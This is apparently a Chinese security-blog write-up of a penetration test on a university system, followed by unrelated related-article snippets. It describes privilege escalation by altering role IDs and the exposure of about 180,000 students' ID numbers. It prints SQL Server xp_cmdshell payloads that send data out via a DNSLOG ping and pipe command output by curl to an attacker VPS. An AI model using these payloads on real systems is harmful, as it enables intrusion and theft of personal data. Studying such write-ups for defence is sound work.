当前位置: 首页 > article >正文

一份文档引发的连锁命令执行、从一个文档到全校三要素泄露和RCE

0x01 简介某 211 高校业务系统的一次完整渗透测试。攻击者从系统公开的操作手册文档中获取关键账号规则成功登录普通学生账号随后通过修改角色 ID 实现垂直越权新建管理员账号并进入后台进一步构造数据包提权至超级管理员获取全校近 18 万学生三要素信息。最终在报表 SQL 编辑功能点利用 SQL Server 特性执行 xp_cmdshell成功实现 RCE完成从信息泄露到服务器控制的完整攻击链。本文仅用于技术学习与合规交流严禁非法滥用。因违规使用产生的一切后果由使用者自行承担与作者无关。现在只对常读和星标的才展示大图推送建议大家把渗透安全HackTwo“设为星标”否则可能就看不到了啦参考文章https://www.hacktwohub.com/category/articles https://mp.weixin.qq.com/s/ui5r0PUueHitdpd3Q99e6w末尾可领取挖洞资料/加圈子 #渗透安全HackTwo0x02 正文详情一个非同寻常的信息泄露开局一个登录框右下角有一个点击查看操作手册就很显眼让人很有想点击的欲望。现在了然了账号和密码的默认格式于是便很兴奋地谷歌尝试搜索site:xxx.edu.cn filetype:pdf 学号的相应信息但一无所获。又去看看网站的前端代码测测SQL注入插件找一波接口...同样很正常地没用任何进展。正当感到无计可施想要切换下一个站点之际一不小心又点进了刚才的操作手册.doc文档然后随便地往下翻动除却姓名学号这种每个学校的文件都随处可见的信息敏感信息都打上了不得不说二幺幺高校就是不一样安全意识确实做得很到位。...不对好像掠过去了什么东西利用泄露出来的学生信息成功登录然后就可以愉快地测试了^^初步测试垂直越权返回登录框抓包。经典roleId常用来表示用户权限。也可以翻下前端找一下哪个数字代表哪个权限这里就懒得翻了。一般数字越小权限越大这里直接改成1。提示用户不存在。也就是where roleId1没有查到鉴权做得很棒啊试试改成2呢新增成功新增一个管理员账户回看前端登录的样式知道肯定学生用户和管理员后台登录是分开的那么下一步便是寻找登录接口。看一眼Findsomething插件刚好存在一个/loginadmin的接口。拼接一下url成功得到管理员后台登录入口登录刚刚新建的管理员账号这里能看的东西就挺多了在申请记录里存在大量学生申请的含有敏感信息的文件还能修改申请文件、印章的收费一些踩坑一个普通的账号常见的还有水平越权比如对于这种情况下的学生账号可以请求文件时抓包看看请求的参数是否可控就可以通过修改参数如学号去查看其他人的敏感文件。这是一个请求文件的数据包有一个X-Authorization字段解码可知是JWT验证记录了user信息包括学号等极大概率是控制返回文件的字段userId为学号修改后发包无果。因为又没抓到其它有有效内容的返回包所有的参数只有可能是从前端传出便有些突发奇想尝试一下也许这个fileProperty是这里控制返回文件的参数比如是通过一些加密算法将学号加密成这样的形式只要我能逆向定位到加密JS用其它的学号加密然后发包就能越权看到其它人的文件。于是开始了漫长的JS逆向之路由于网站前端是webpack打包还去学习了一下相应的逆向技术。后面才想起坏了这好像是UUID。。。它是数据库后端生成的而非前端加密学号生成的。。。它之所以不在接口的返回包出现是因为这里的UUID就像表单CSRF-Token一样从一开始登录就自动附着在html元素之中了。越权超级管理员借用管理员权限测试时某些特殊功能还是会弹出一个权限不足的提示比如改变邮箱模块等等。于是猜测到这个站点还应该存在一个超级管理员权限。只是回头看之前添加用户的功能点网站是对添加超级管理员这个功能进行限制了的。但是结合之前测得的这个网站的特性添加一个任意账号抓包看添加用户的数据包修改roleIds参数为1。添加成功切回管理员登录接口登录该账号菜单的功能又多出了很多其中在某个菜单下暴露了该校所有18w学生的sfz号码RCE深入每个功能都测了测也得到了其它的一些敏感数据但是大多却没什么用。难道就止步于此了吗。。都拿到了超管权限信息泄露只是苟且RCE才是梦想。终于在茫茫多的功能中找到了一个很特殊的地方可以编辑SQL语句。且看文件名称与学生用户端前台的文件请求一致那么便很容易猜测前台用户每点击一次文件后端就肯定会执行一下所谓报表SQL菜单SQL的语句并返回结果。如果是这样的话添加些恶意的SQL比如外带数据库名等等可能也会回显到得到的文件里。不多说开始测试。由于这个网站的用户量还挺大为了不影响学校网站的正常运行便拉着一个访问量最小的文件类型进行尝试。这一试花费的时间可就太多了也遇到了挺多问题这个网站的报表SQL、菜单SQL还有前端都有牵连字段甚至语法都不能弄错否则很容易就会出问题执行不了一点。更让测试受阻的是每个用户申请文件如果申请成功(但大多数时候数据库名都不会回显到文件里)网站都会对申请到的文件进行缓存并沿用上一次SQL请求的返回结果意味着我的每一次尝试都可能要换一个新的账户(只能说还好之前获取的账号很多).......终于尝试了无数个payload终于外带了一次数据SELECT xbFROM dbo.cxsyxm aLEFT JOIN z_V_xsjbxxb b ON a.xh b.xhWHERE a.xh 学号 AND a.rn 选中值UNIONSELECT db_name();在测试的过程中也知道了该数据库语法为SQL Server。既然是SQL Server而且是整段语句的完整传入那么我们完全可以用SQL Server的exec xp_cmdshell来命令执行。那么此时便可以新建一个test文件先试试DNSLOG外带数据库名来测试目标服务器是否出网EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;DECLARE dbName NVARCHAR(128);DECLARE cmd NVARCHAR(400);SET dbName DB_NAME();SET cmd ping dbName .ch85c4.dnslog.cn;EXEC xp_cmdshell cmd;登录学生账号请求对应文件此时查看DNSLOG的解析记录成功将数据库名带出那么接下来便是想要执行命令这里便有一个踩坑由于在超管权限下看到的系统管理菜单处是LINUX系统所以便一直进行LINUX的命令执行像是ls之类的命令。后续再测试执行windows命令才成功执行此时才反应过来这套系统是典型的站库分离即WEB服务系统主机和数据库主机是分离开的。那么修改SQL语句为执行dir命令EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;EXEC xp_cmdshell dir 21 | curl -X POST --data - http://ip:port ;成功在VPS上获得命令回显0x03 总结挖本以为只是份平平无奇的操作手册没成想直接给渗透开了挂。顺着文档线索登录学生账号一路越权干到超管顺手抱走全校 18w 学生三要素。最后更是在 SQL 编辑页面一发入魂直接拿下 RCE。一份小文档炸穿整个系统高校安全真是细节藏魔鬼啊。最后愿各位师傅在后续挖洞之路中精准定位漏洞、高效挖掘天天出高危、次次有收获挖洞顺利、不踩坑、多拿奖励共同提升支付业务安全测试能力喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢

相关文章:

一份文档引发的连锁命令执行、从一个文档到全校三要素泄露和RCE

0x01 简介 某 211 高校业务系统的一次完整渗透测试。攻击者从系统公开的操作手册文档中获取关键账号规则,成功登录普通学生账号;随后通过修改角色 ID 实现垂直越权,新建管理员账号并进入后台,进一步构造数据包提权至超级管理员&a…...

IAR 9.2 主题设置踩坑实录:从字体失效到关键字高亮,我的完整配置流程

IAR 9.2 主题定制深度指南:从字体陷阱到语法高亮优化 第一次在IAR 9.2中尝试自定义主题时,我本以为会像其他主流IDE那样简单——直到发现字体设置完全失效、关键字高亮混乱不堪。经过三天反复试验和源码分析,终于摸清了这套主题系统的运作机制…...

自适应滤波入门避坑指南:从维纳滤波到LMS,别再混淆最陡下降和梯度下降了

自适应滤波算法实战解析:从理论误区到MATLAB仿真优化 刚接触自适应滤波时,总会被各种相似术语搞得晕头转向——维纳滤波、最陡下降法、LMS算法,它们之间到底有什么联系和区别?更让人困惑的是,许多教材把"最陡下降…...

终极Minecraft启动器指南:UltimMC让你的游戏体验更自由

终极Minecraft启动器指南:UltimMC让你的游戏体验更自由 【免费下载链接】Launcher Offline Minecraft launcher. 项目地址: https://gitcode.com/gh_mirrors/lau/Launcher UltimMC是一款功能强大的Minecraft自定义启动器,专为追求自由灵活游戏体验…...

别再只改YAML了!手把手教你从零实现YOLOv8的MSAM注意力模块(附完整代码)

从零构建YOLOv8的MSAM注意力模块:多尺度特征融合实战指南 在目标检测领域,YOLOv8凭借其出色的速度和精度平衡成为工业界的热门选择。但当你面对复杂场景中的多尺度目标时,是否发现模型对小物体或遮挡目标的检测效果不尽如人意?传统…...

手把手教你用STM32的FSMC驱动AD7606(附完整电路图与代码)

STM32与AD7606高速数据采集系统实战指南 在工业自动化、电力监测和医疗设备等领域,高精度多通道数据采集系统扮演着关键角色。AD7606作为一款16位8通道同步采样ADC,配合STM32的FSMC接口,能够构建出性能优异的数据采集解决方案。本文将深入探讨…...

ESP32按键防抖实战:用硬件消抖电路+软件延时解决LED闪烁问题

ESP32按键防抖实战:硬件消抖电路与软件延时双重保障方案 当你在深夜调试ESP32项目时,LED灯突然不受控制地闪烁,按键反应迟钝或误触发——这很可能是机械按键抖动在作祟。作为物联网开发中最基础的输入设备,机械按键的抖动问题困扰…...

【解构】 Claude 同模型双人格架构:对比 Anthropic 通用版与 Design 版 System Prompt 的工程差异

关键词:Claude Opus 4.7 | Claude Design | System Prompt | Agent 架构 | Prompt Engineering | Multi-Persona 你读完能得到: Anthropic 如何用同一个模型 两份 prompt 做出两个产品的完整分析7 个工程维度的对照表(身份/主动性/提问/格式…...

别再只用PBKDF2了!聊聊国密标准GMT0091里的SM4和HMAC-SM3怎么用

国密算法实战:从PBKDF2到HMAC-SM3与SM4-CBC的迁移指南 金融级应用开发中,密钥派生与数据加密方案的选择直接影响系统安全性。当项目需要满足国密标准合规要求时,开发者常面临从国际通用算法向SM系列算法迁移的技术挑战。本文将手把手演示如何…...

从‘Push to Trip’红色按钮讲起:手把手教你进行漏电断路器功能测试与日常维护

从‘Push to Trip’红色按钮讲起:手把手教你进行漏电断路器功能测试与日常维护 当你面对配电箱里那个神秘的红色按钮时,是否曾犹豫过该不该按下去?作为家庭用电安全的第一道防线,漏电断路器上的每个设计细节都暗藏玄机。本文将带你…...

告别手动编译!用Cygwin一键搞定ADI官方HDL库,Vivado 2018.2工程搭建效率翻倍

用Cygwin自动化构建ADI HDL库:Vivado工程搭建效率革命 在FPGA开发领域,时间就是竞争力。当我们面对ADI官方提供的丰富HDL库时,传统手动编译方式往往让工程师陷入"等待-调试-再等待"的恶性循环。以AD9361ZC706这样的典型工程为例&am…...

STM32 HAL库实战:避开ADC按键的那些‘坑’,从滤波到防抖的稳定方案

STM32 HAL库实战:ADC按键稳定性优化全攻略 在嵌入式开发中,ADC按键因其节省IO资源的特性而广受欢迎,但实际应用中常遇到采样波动、误触发等问题。本文将分享一套经过实战检验的稳定性优化方案,涵盖硬件校准、软件滤波和防抖处理等…...

手把手教你用MCUXpresso为i.MX RT1062创建第一个工程(从SDK获取到点灯调试)

从零开始玩转i.MX RT1062:MCUXpresso环境搭建与LED控制实战 拿到一块i.MX RT1062评估板时,很多嵌入式开发者会面临两个挑战:如何快速熟悉这个跨界MCU的独特架构,以及如何在MCUXpresso IDE中完成从工程创建到硬件调试的全流程。本…...

用Modbus Poll/Slave和串口助手调试STM32 Modbus主从机的完整流程

用Modbus Poll/Slave和串口助手调试STM32 Modbus主从机的完整流程 在工业自动化领域,Modbus协议因其简单可靠的特点成为最常用的通信协议之一。对于嵌入式开发者而言,掌握Modbus协议的调试技巧至关重要。本文将详细介绍如何使用Modbus Poll、Modbus Slav…...

AGI如何7×24小时守护长江生态?:基于卫星+IoT+多模态大模型的污染溯源实战框架

第一章:AGI驱动的长江生态全天候守护范式 2026奇点智能技术大会(https://ml-summit.org) 传统生态监测依赖人工巡检与离散传感器网络,难以应对长江流域跨省域、多尺度、强动态的水文—生物—人类活动耦合挑战。AGI驱动的守护范式通过具身感知、因果推理…...

用AD7124-4/8做高精度RTD测温?别只看精度,供电和基准电压的坑先避开

AD7124高精度RTD测温系统设计:从电源架构到基准电压的工程实践 在工业温度测量领域,铂电阻(RTD)因其出色的线性度和稳定性成为首选传感器之一。而要实现0.01C级别的测量分辨率,AD7124系列Σ-ΔADC常被工程师视为理想选择——直到他们在实际项…...

深度剖析:导致AI项目失败的五大核心因素与系统化解决方案

AI项目失败率高企,根源往往不在算法,而在系统性的工程、组织与价值错配。本文将深度剖析五大核心因素,并提供可落地的解决方案。同时,结合CAIE注册人工智能工程师认证的能力框架,说明系统化学习如何帮助从业者规避这些陷阱。 一、价值错配:解决了一个“完美”的非问题 现…...

深度策略:结合内部挖掘、校园照片与行业人脉,构建动态更新的AI人才储备体系

在人工智能技术日新月异的当下,企业间的人才争夺早已从“抢简历”升级为“抢潜力”。传统的招聘节奏往往滞后于技术迭代——等你看到简历时,真正的高手已被先行者锁定。因此,一套能动态感知、主动培育、持续连接的AI人才储备体系,正成为组织竞争力的核心护城河。 本文将围…...

别再凭感觉画板了!PCB布局布线这10个坑,新手工程师最容易踩

PCB设计避坑指南:新手工程师必须掌握的10个布局布线技巧 刚接触PCB设计的新手工程师常常会陷入一个误区——认为只要电路原理正确,板子画出来就能正常工作。这种想法往往会导致后期调试时遇到各种"玄学"问题:信号不稳定、EMI超标、…...

Vue v-slot → 用 VuReact 转换后变成这样的 React 代码

VuReact 是一个能将 Vue 3 代码编译为标准、可维护 React 代码的工具。今天就带大家直击核心:Vue 中常见的 v-slot 指令经过 VuReact 编译后会变成什么样的 React 代码? 前置约定 为避免示例代码冗余导致理解偏差,先明确两个小约定&#xf…...

Claude Design的系统提示词#设计经验总结

Shadow:研究下Claude Design的系统提示词,有不少经验值得参考⬇️1. 角色定位清晰,边界明确✅ "专家设计师 用户管理者"的协作关系 ✅ "HTML是工具,媒介可变"的灵活输出观 ✅ 明确拒绝的场景(版权…...

内容即世界,世界即产品:HappyOyster。即将开启创作者经济新范式

4月16日,阿里 ATH 创新事业部的 HappyOyster 正式开放内测[1]。这不是一款普通的产品升级——它把"建造一个世界"这件事,第一次放进了普通创作者的能力范围[2] [3]。一个根本性的问题随之浮现:如果每一个创作者都能建造自己的世界&…...

Claude Design 来了:设计师的第二双手还是替代者?

2026年4月17日,Anthropic 正式发布 Claude Design。官方的定义是:一款通过与 Claude 对话来创建设计、原型、幻灯片、单页的工具。翻译成人话就是——你说话,它出图;你说「再瘦一点」「换个莫兰迪色系」「按钮往左挪」&#xff0c…...

为什么92%的“智慧交通”项目三年后停摆?AGI时代城市治理的3大认知断层与破局公式(内部推演纪要)

第一章:AGI驱动的城市交通治理范式革命 2026奇点智能技术大会(https://ml-summit.org) 传统交通治理长期受限于静态模型、滞后响应与孤岛式数据协同,而具备自主推理、多源语义理解与跨域决策能力的通用人工智能(AGI)正从根本上重…...

AGI推理延迟压至8.3ms?揭秘2026奇点大会上3家头部厂商联合发布的异构硬件栈,性能提升417%

第一章:2026奇点智能技术大会:AGI与硬件设计 2026奇点智能技术大会(https://ml-summit.org) AGI架构对芯片微架构的倒逼演进 本届大会首次披露了基于全栈可微分计算范式的AGI参考模型——Singularity-7B,其训练阶段要求硬件具备动态稀疏张量…...

AGI与量子计算融合的7个致命断层:2026奇点大会未公开技术白皮书首曝

第一章:AGI与量子计算融合的范式危机与奇点临界态 2026奇点智能技术大会(https://ml-summit.org) 当通用人工智能(AGI)的推理架构遭遇量子叠加态的本征坍缩机制,传统冯诺依曼—图灵范式正经历不可逆的结构性失稳。实验表明&#…...

使用Jmeter对接口进行压力测试

今天第一次使用Jmeter对系统进行了压力测试,测试了一下纯数据库方案以及添加了缓存的方案,结果惊人。只使用MySQL处理请求在设置并发量为每秒1000次的时候,可以看到MySQL的处理速度已经很慢了,平均响应时间达到了5235ms使用Caffei…...

Sunshine游戏串流终极指南:从零开始搭建自托管游戏主机

Sunshine游戏串流终极指南:从零开始搭建自托管游戏主机 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 想要在任何设备上流畅玩PC游戏,但厌倦了云游戏服务的…...

数学家正在失业?,SITS2026揭示AGI辅助证明的4类高价值问题筛选标准与人机协同SOP

第一章:SITS2026演讲:AGI与数学发现 2026奇点智能技术大会(https://ml-summit.org) AGI驱动的自动定理发现范式 在SITS2026主会场,DeepMath团队首次公开展示了AlphaProof-3模型在无监督环境下重构希尔伯特第23问题子集的能力。该系统不依赖…...

自定义机械臂驱动(Action Server + /joint_states 发布)

my_real_arm_driver.cppcpp运行#include "rclcpp/rclcpp.hpp" #include "rclcpp_action/rclcpp_action.hpp" #include "control_msgs/action/follow_joint_trajectory.hpp" #include "sensor_msgs/msg/joint_state.hpp" #include <…...